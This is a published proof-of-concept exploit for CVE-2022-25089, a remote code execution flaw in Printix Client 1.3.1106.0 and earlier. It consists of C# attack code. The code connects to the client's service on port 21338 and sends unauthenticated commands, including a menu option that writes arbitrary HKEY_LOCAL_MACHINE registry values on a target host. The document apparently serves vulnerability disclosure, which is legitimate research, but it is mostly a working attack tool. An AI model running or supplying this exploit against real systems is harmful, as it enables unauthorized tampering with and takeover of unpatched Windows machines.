Authored by Logan Latvala

Printix Client versions 1.3.1106.0 and below suffer from a remote code execution vulnerability.

advisories | CVE-2022-25089

# Exploit Title: Printix Client 1.3.1106.0 - Remote Code Execution (RCE)
# Date: 3/1/2022
# Exploit Author: Logan Latvala
# Vendor Homepage: https://printix.net
# Software Link: https://software.printix.net/client/win/1.3.1106.0/PrintixClientWindows.zip
# Version: <= 1.3.1106.0
# Tested on: Windows 7, Windows 8, Windows 10, Windows 11
# CVE : CVE-2022-25089
# Github for project: https://github.com/ComparedArray/printix-CVE-2022-25089

using Microsoft.Win32;
using Newtonsoft.Json;
using Newtonsoft.Json.Converters;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;

/**
* ________________________________________
*
* Printix Vulnerability, CVE-2022-25089
* Part of a Printix Vulnerability series
* Author: Logan Latvala
* Github: https://github.com/ComparedArray/printix-CVE-2022-25089
* ________________________________________
*
*/


namespace ConsoleApp1a
{

public class PersistentRegistryData
{
public PersistentRegistryCmds cmd;

public string path;

public int VDIType;

public byte[] registryData;
}

[JsonConverter(typeof(StringEnumConverter))]
public enum PersistentRegistryCmds
{
StoreData = 1,
DeleteSubTree,
RestoreData
}
public class Session
{
public int commandNumber { get; set; }
public string host { get; set; }
public string data { get; set; }
public string sessionName { get; set; }
public Session(int commandSessionNumber = 0)
{
commandNumber = commandSessionNumber;
switch (commandSessionNumber)
{
//Incase it's initiated, kill it immediately.
case (0):
Environment.Exit(0x001);
break;

//Incase the Ping request is sent though, get its needed data.
case (2):
Console.WriteLine("n What Host Address? (DNS Names Or IP)n");
Console.Write("IP: ");
host = Console.ReadLine();
Console.WriteLine("Host address set to: " + host);

data = "pingData";
sessionName = "PingerRinger";
break;

//Incase the RegEdit request is sent though, get its needed data.
case (49):
Console.WriteLine("n What Host Address? (DNS Names Or IP)n");
Console.Write("IP: ");
host = Console.ReadLine();
Console.WriteLine("Host address set to: " + host);

PersistentRegistryData persistentRegistryData = new PersistentRegistryData();
persistentRegistryData.cmd = PersistentRegistryCmds.RestoreData;
persistentRegistryData.VDIType = 12; //(int)DefaultValues.VDIType;
//persistentRegistryData.path = "printixSOFTWAREIntelHeciServerdasSocketServiceName";
Console.WriteLine("n What Node starting from \Local-Machine would you like to select? n");
Console.WriteLine("Example: HKEY_LOCAL_MACHINESOFTWAREIntelHeciServerdasSocketServiceNamen");
Console.WriteLine("You can only change values in HKEY_LOCAL_MACHINE");
Console.Write("Registry Node: ");
persistentRegistryData.path = "" + Console.ReadLine().Replace("HKEY_LOCAL_MACHINE","printix");
Console.WriteLine("Full Address Set To: " + persistentRegistryData.path);

//persistentRegistryData.registryData = new byte[2];
//byte[] loader = selectDataType("Intel(R) Capability Licensing stuffidkreally", RegistryValueKind.String);

Console.WriteLine("n What Data type are you using? n1. String 2. Dword 3. Qword 4. Multi String n");
Console.Write("Type: ");
int dataF = int.Parse(Console.ReadLine());
Console.WriteLine("Set Data to: " + dataF);

Console.WriteLine("n What value is your type? n");
Console.Write("Value: ");
string dataB = Console.ReadLine();
Console.WriteLine("Set Data to: " + dataF);

byte[] loader = null;
List<byte> byteContainer = new List<byte>();
//Dword = 4
//SET THIS NUMBER TO THE TYPE OF DATA YOU ARE USING! (CHECK ABOVE FUNCITON selectDataType()!)

switch (dataF)
{
case (1):

loader = selectDataType(dataB, RegistryValueKind.String);
byteContainer.Add(1);
break;
case (2):
loader = selectDataType(int.Parse(dataB), RegistryValueKind.DWord);
byteContainer.Add(4);
break;
case (3):
loader = selectDataType(long.Parse(dataB), RegistryValueKind.QWord);
byteContainer.Add(11);
break;
case (4):
loader = selectDataType(dataB.Split('%'), RegistryValueKind.MultiString);
byteContainer.Add(7);
break;

}

int pathHolder = 0;
foreach (byte bit in loader)
{
pathHolder++;
byteContainer.Add(bit);
}

persistentRegistryData.registryData = byteContainer.ToArray();
//added stuff:

//PersistentRegistryData data = new PersistentRegistryData();
//data.cmd = PersistentRegistryCmds.RestoreData;
//data.path = "";


//data.cmd
Console.WriteLine(JsonConvert.SerializeObject(persistentRegistryData));
data = JsonConvert.SerializeObject(persistentRegistryData);

break;
//Custom cases, such as custom JSON Inputs and more.
case (100):
Console.WriteLine("n What Host Address? (DNS Names Or IP)n");
Console.Write("IP: ");
host = Console.ReadLine();
Console.WriteLine("Host address set to: " + host);

Console.WriteLine("n What Data Should Be Sent?n");
Console.Write("Data: ");
data = Console.ReadLine();
Console.WriteLine("Data set to: " + data);

Console.WriteLine("n What Session Name Should Be Used? n");
Console.Write("Session Name: ");
sessionName = Console.ReadLine();
Console.WriteLine("Session name set to: " + sessionName);
break;
}


}
public static byte[] selectDataType(object value, RegistryValueKind format)
{
byte[] array = new byte[50];

switch (format)
{
case RegistryValueKind.String: //1
array = Encoding.UTF8.GetBytes((string)value);
break;
case RegistryValueKind.DWord://4
array = ((!(value.GetType() == typeof(int))) ? BitConverter.GetBytes((long)value) : BitConverter.GetBytes((int)value));
break;
case RegistryValueKind.QWord://11
if (value == null)
{
value = 0L;
}
array = BitConverter.GetBytes((long)value);
break;
case RegistryValueKind.MultiString://7
{
if (value == null)
{
value = new string[1] { string.Empty };
}
string[] array2 = (string[])value;
foreach (string s in array2)
{
byte[] bytes = Encoding.UTF8.GetBytes(s);
byte[] second = new byte[1] { (byte)bytes.Length };
array = array.Concat(second).Concat(bytes).ToArray();
}
break;
}
}
return array;
}
}
class CVESUBMISSION
{
static void Main(string[] args)
{
FORCERESTART:
try
{

//Edit any registry without auth:
//Use command 49, use the code provided on the desktop...
//This modifies it directly, so no specific username is needed. :D

//The command parameter, a list of commands is below.
int command = 43;

//To force the user to input variables or not.
bool forceCustomInput = false;

//The data to send, this isn't flexible and should be used only for specific examples.
//Try to keep above 4 characters if you're just shoving things into the command.
string data = "{"profileID":1,"result":true}";

//The username to use.
//This is to fulfill the requriements whilst in development mode.
DefaultValues.CurrentSessName = "printixMDNs7914";

//The host to connect to. DEFAULT= "localhost"
string host = "192.168.1.29";

// Configuration Above

InvalidInputLabel:
Console.Clear();
Console.WriteLine("Please select the certificate you want to use with port 21338.");
//Deprecated, certificates are no longer needed to verify, as clientside only uses the self-signed certificates now.
Console.WriteLine("Already selected, client authentication isn't needed.");

Console.WriteLine(" /─────────────────────────── ");
Console.WriteLine("nWhat would you like to do?");
Console.WriteLine("n 1. Send Ping Request");
Console.WriteLine(" 2. Send Registry Edit Request");
Console.WriteLine(" 3. Send Custom Request");
Console.WriteLine(" 4. Experimental Mode (Beta)n");
Console.Write("I choose option # ");

try
{
switch (int.Parse(Console.ReadLine().ToLower()))
{
case (1):
Session session = new Session(2);

command = session.commandNumber;
host = session.host;
data = session.data;
DefaultValues.CurrentSessName = "printixReflectorPackage_" + new Random().Next(1, 200);



break;
case (2):
Session sessionTwo = new Session(49);

command = sessionTwo.commandNumber;
host = sessionTwo.host;
data = sessionTwo.data;
DefaultValues.CurrentSessName = "printixReflectorPackage_" + new Random().Next(1, 200);

break;
case (3):

Console.WriteLine("What command number do you want to input?");
command = int.Parse(Console.ReadLine().ToString());
Console.WriteLine("What IP would you like to use? (Default = localhost)");
host = Console.ReadLine();
Console.WriteLine("What data do you want to send? (Keep over 4 chars if you are not sure!)");
data = Console.ReadLine();

Console.WriteLine("What session name do you want to use? ");
DefaultValues.CurrentSessName = Console.ReadLine();
break;
case (4):
Console.WriteLine("Not yet implemented.");
break;
}
}
catch (Exception e)
{
Console.WriteLine("Invalid Input!");
goto InvalidInputLabel;
}

Console.WriteLine("Proof Of Concept For CVE-2022-25089 | Version: 1.3.24 | Created by Logan Latvala");
Console.WriteLine("This is a RAW API, in which you may get unintended results from usage.n");

CompCommClient client = new CompCommClient();


byte[] responseStorage = new byte[25555];
int responseCMD = 0;
client.Connect(host, 21338, 3, 10000);

client.SendMessage(command, Encoding.UTF8.GetBytes(data));
// Theory: There is always a message being sent, yet it doesn't read it, or can't intercept it.
// Check for output multiple times, and see if this is conclusive.



//client.SendMessage(51, Encoding.ASCII.GetBytes(data));
new Thread(() => {
//Thread.Sleep(4000);
if (client.Connected())
{
int cam = 0;
// 4 itterations of loops, may be lifted in the future.
while (cam < 5)
{

//Reads the datastream and keeps returning results.
//Thread.Sleep(100);
try
{
try
{
if (responseStorage?.Any() == true)
{
//List<byte> byo1 = responseStorage.ToList();
if (!Encoding.UTF8.GetString(responseStorage).Contains("Caption"))
{
foreach (char cam2 in Encoding.UTF8.GetString(responseStorage))
{
if (!char.IsWhiteSpace(cam2) && char.IsLetterOrDigit(cam2) || char.IsPunctuation(cam2))
{
Console.Write(cam2);
}
}
}else
{

}
}

}
catch (Exception e) { Debug.WriteLine(e); }
client.Read(out responseCMD, out responseStorage);

}
catch (Exception e)
{
goto ReadException;
}
Thread.Sleep(100);
cam++;
//Console.WriteLine(cam);
}




}
else
{
Console.WriteLine("[WARNING]: Client is Disconnected!");
}
ReadException:
try
{
Console.WriteLine("Command Variable Response: " + responseCMD);
Console.WriteLine(Encoding.UTF8.GetString(responseStorage) + " || " + responseCMD);
client.disConnect();
}
catch (Exception e)
{
Console.WriteLine("After 4.2 Seconds, there has been no response!");
client.disConnect();
}
}).Start();

Console.WriteLine(responseCMD);
Console.ReadLine();

}

catch (Exception e)
{
Console.WriteLine(e);
Console.ReadLine();

//Environment.Exit(e.HResult);
}

goto FORCERESTART;
}
}
}